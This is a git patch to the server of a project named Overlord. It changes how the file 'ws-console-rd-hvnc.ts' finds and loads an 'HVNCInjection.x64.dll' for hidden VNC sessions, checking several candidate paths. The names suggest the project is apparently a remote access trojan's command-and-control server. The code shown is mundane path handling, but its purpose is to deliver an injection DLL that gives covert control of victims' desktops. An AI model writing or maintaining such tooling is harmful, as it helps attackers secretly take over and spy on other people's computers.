From cfa45fb56b1cb53d20f6686a905147a62dd77789 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 11 Mar 2026 23:49:07 -0500 Subject: [PATCH] get runtime path otherwise we can't resolve dll location --- .../src/server/ws-console-rd-hvnc.ts | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index c70afdf..f037db0 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -7,6 +7,7 @@ import * as clientManager from "../clientManager"; import { logger } from "../logger"; import { metrics } from "../metrics"; import { encodeMessage } from "../protocol"; +import { resolveRuntimeRoot } from "./runtime-paths"; import * as sessionManager from "../sessions/sessionManager"; import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types"; import type { ClientInfo } from "../types"; @@ -18,13 +19,22 @@ let _dllCacheChecked = false; function getInjectionDllBytes(): Uint8Array | null { if (_dllCacheChecked) return _cachedInjectionDll; _dllCacheChecked = true; - const dllPath = path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll"); - if (existsSync(dllPath)) { + + const runtimeRoot = resolveRuntimeRoot(); + const candidates = [ + path.resolve(runtimeRoot, "dist-clients", "HVNCInjection.x64.dll"), + path.resolve(process.cwd(), "dist-clients", "HVNCInjection.x64.dll"), + path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll"), + ]; + + for (const dllPath of candidates) { + if (!existsSync(dllPath)) continue; _cachedInjectionDll = new Uint8Array(readFileSync(dllPath)); logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`); - } else { - logger.warn(`[hvnc] injection DLL not found at ${dllPath}`); + return _cachedInjectionDll; } + + logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`); return _cachedInjectionDll; }